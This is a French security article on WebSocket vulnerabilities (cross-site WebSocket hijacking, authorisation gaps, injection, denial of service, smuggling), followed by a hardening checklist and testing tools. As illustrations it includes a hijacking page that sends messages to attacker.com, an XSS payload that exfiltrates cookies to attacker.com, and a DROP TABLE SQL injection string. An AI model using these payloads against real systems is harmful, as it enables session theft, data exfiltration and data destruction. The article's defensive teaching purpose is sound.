Sécurité WebSocket — Attaques et techniques de durcissement

Le protocole WebSocket est devenu une brique indispensable des architectures web modernes en temps réel. Qu'il s'agisse de messageries instantanées, d'outils collaboratifs, de tableaux de bord financiers ou d'applications IoT, WebSocket offre un canal de communication bidirectionnel et persistant avec une latence minimale. Toutefois, cette persistance et ce modèle bidirectionnel introduisent une surface d'attaque spécifique souvent mal comprise par les équipes de développement habituées au modèle sans état d'HTTP. Cet article propose une analyse approfondie des vecteurs d'attaque WebSocket, des scénarios d'exploitation concrets et une checklist exhaustive de durcissement technique.

1. WebSocket vs HTTP — Implications de sécurité

Une connexion WebSocket s'initialise par un handshake de mise à niveau (upgrade) HTTP standard :

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
Cookie: session=abc123xyz

Si le serveur accepte, il répond par un code 101 :

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Après ce handshake, la connexion bascule vers le protocole WebSocket sous forme de trames TCP directes. Les conséquences de sécurité sont majeures :

Absence de CORS standard : Le mécanisme CORS (Cross-Origin Resource Sharing) ne s'applique pas au handshake WebSocket de la même manière qu'aux requêtes XHR/Fetch classiques. Le navigateur envoie le handshake vers n'importe quelle origine sans pré-vol OPTIONS.
Transmission automatique des cookies : Le navigateur inclut automatiquement tous les cookies de session pour le domaine cible lors de la requête initiale d'upgrade.
Connexion avec état prolongée : Contrairement à HTTP où chaque requête est isolée, WebSocket maintient une liaison ouverte. Toute faille d'autorisation ou fuite de contexte persiste tout au long de la session.
Absence d'authentification par message native : Il n'existe pas d'en-tête Authorization par défaut au niveau de chaque trame individuelle.

2. Attaque 1 — Détournement de WebSocket inter-sites (CSWSH)

Le Cross-Site WebSocket Hijacking (CSWSH) est l'équivalent direct du CSRF pour les connexions WebSocket. Si l'application s'appuie uniquement sur des cookies de session pour authentifier le handshake sans valider rigoureusement l'en-tête Origin, un site malveillant peut initier une connexion WebSocket au nom de la victime connectée.

Scénario d'attaque

La victime est connectée sur chat.example.com. L'attaquant l'incite à visiter sa page attacker.com :

<!-- Page hébergée sur attacker.com -->
<script>
var ws = new WebSocket('wss://chat.example.com/ws');

ws.onopen = function() {
  // Envoi d'une commande pour récupérer l'historique privé
  ws.send(JSON.stringify({"action": "getHistory", "room": "private"}));
};

ws.onmessage = function(msg) {
  // Exfiltration des messages vers le serveur attaquant
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: msg.data
  });
};
</script>

Le serveur distant reçoit la requête de mise à niveau avec les cookies valides de la victime. Si l'en-tête Origin: https://attacker.com n'est pas vérifié, la liaison est établie et l'attaquant intercepte toutes les communications confidentielles.

Mesures de défense

Valider systématiquement l'en-tête Origin côté serveur lors du handshake face à une liste blanche stricte de domaines autorisés.
Exiger un jeton anti-CSRF imprévisible dans le premier message envoyé sur le canal WebSocket avant de traiter toute opération.
Privilégier une authentification par jeton temporaire (ex. JWT à courte durée de vie) transmis dans l'URL du handshake ou le premier message plutôt que de se fier uniquement aux cookies.

3. Attaque 2 — Contournement d'authentification et d'autorisation

3.1 Persistance après révocation de session

L'une des vulnérabilités les plus fréquentes réside dans la gestion du cycle de vie des sessions. Lorsqu'un utilisateur clique sur « Déconnexion », l'application invalide généralement le cookie de session HTTP ou le jeton de rafraîchissement. Cependant, si le serveur WebSocket ne dispose pas d'un registre centralisé reliant les sockets actifs aux sessions HTTP, la connexion WebSocket ouverte reste active indéfiniment.

3.2 Absence d'autorisation au niveau du message

Une erreur classique consiste à vérifier l'identité de l'utilisateur uniquement lors de l'établissement initial de la connexion, puis à exécuter aveuglément tous les messages suivants. Par exemple :

{"action": "deleteUser", "userId": 42}
{"action": "getAuditLog", "userId": 99}

Si le handler interne n'effectue pas de contrôle de rôle ou de propriété (RBAC/ABAC) pour chaque trame reçue, un utilisateur standard peut déclencher des actions d'administration réservées à des profils privilégiés.

4. Attaque 3 — Injections dans les trames WebSocket

4.1 Cross-Site Scripting (XSS) stocké

Dans les applications de chat ou les flux collaboratifs, les messages reçus d'un client sont fréquemment rediffusés (broadcast) à l'ensemble des participants connectés au canal :

{"message": "<img src=x onerror='fetch(\"https://attacker.com/xss?c=\"+document.cookie)'>"}

Si les clients récepteurs insèrent ce contenu dans le DOM sans échappement contextuel adéquat, le script s'exécute dans la session de chaque utilisateur connecté au salon, provoquant un vol massif de sessions ou une propagation de ver applicatif.

4.2 Injections SQL et NoSQL

Les trames WebSocket transportent des structures de données complexes. Si les valeurs extraites des messages sont directement concaténées dans des requêtes de base de données sans requêtes préparées, les injections SQL et NoSQL sont tout aussi destructrices que sur des endpoints REST :

{"action": "search", "query": "'; DROP TABLE audit_logs; --"}

5. Attaque 4 — Déni de service et épuisement des ressources

En raison de la nature permanente des liaisons TCP, WebSocket est une cible de choix pour les attaques par déni de service (DoS) applicatif :

Inondation de connexions simultanées : Un attaquant ouvre des milliers de connexions sans transmettre de messages, épuisant les descripteurs de fichiers (file descriptors) et la mémoire du serveur d'événements.
Inondation de messages volumineux : Transmission continue de trames de plusieurs mégaoctets afin de saturer la bande passante et de provoquer des dépassements de mémoire tampon (buffer bloat).

6. Attaque 5 — WebSocket Smuggling via mandataires HTTP/1.1

Lorsque les connexions transitent par des reverse proxies ou répartiteurs de charge ne gérant pas uniformément la négociation de protocole, des désynchronisations peuvent survenir. L'exploitation des en-têtes Content-Length et Transfer-Encoding lors du passage en mode WebSocket permet d'injecter des requêtes HTTP arbitraires dans les flux d'autres clients ou de contourner les règles d'inspection des WAF.

7. Checklist exhaustive de durcissement

Sécurité du transport

Imposer exclusivement wss:// (WebSocket Secure via TLS 1.3 ou 1.2) et interdire formellement ws:// en production.
Mettre en œuvre des certificats robustes et configurer HSTS avec la directive includeSubDomains.

Authentification et validation du handshake

Valider scrupuleusement l'en-tête Origin par rapport à une liste blanche stricte.
Utiliser des jetons d'authentification signés et éphémères plutôt que les seuls cookies ambiants.
Rejeter immédiatement la connexion en cas d'absence ou d'invalidité du jeton.

Gestion rigoureuse des sessions

Maintenir un registre serveur des connexions associées à chaque identifiant de session.
Clôturer immédiatement toutes les connexions WebSocket lors d'une déconnexion ou révocation de droits.
Configurer des délais d'inactivité (idle timeout) et une durée de vie maximale par connexion.

Contrôles au niveau applicatif et messages

Appliquer une autorisation stricte (RBAC/ABAC) sur chaque action contenue dans un message entrant.
Définir un schéma de validation strict pour les messages (ex. JSON Schema) et rejeter tout payload non conforme.
Limiter la taille maximale autorisée par trame (ex. 64 Ko maximum).
Échapper systématiquement les données avant tout affichage côté client.

Limitation de débit et résilience

Restreindre le nombre de connexions simultanées par adresse IP et par compte utilisateur.
Appliquer un rate limiting strict sur le volume de messages par seconde par connexion.

8. Méthodologie d'audit et de test

L'évaluation de la robustesse des flux WebSocket s'appuie sur des outils et techniques spécifiques :

Burp Suite (onglet WebSockets) : Interception, modification en temps réel et rejeu de trames avec le Repeater pour tester les injections et la logique métier.
wscat en ligne de commande : Connexion directe et scriptée pour tester la gestion des origines et la validation des en-têtes : wscat -c wss://target.com/ws -H "Origin: https://malicious.com"
PoC CSWSH : Création d'une page HTML locale exécutée depuis une origine tierce pour vérifier si le serveur accepte le handshake sans vérification d'origine.

Conclusion

La technologie WebSocket apporte des gains de performance incomparables pour les interfaces temps réel, mais elle prive l'application des protections implicites fournies par le modèle sans état d'HTTP. Assurer la sécurité d'un écosystème WebSocket requiert une vigilance continue sur l'ensemble de la pile : validation stricte du handshake, authentification résiliente, vérification d'autorisation à chaque trame et gouvernance proactive du cycle de vie des connexions.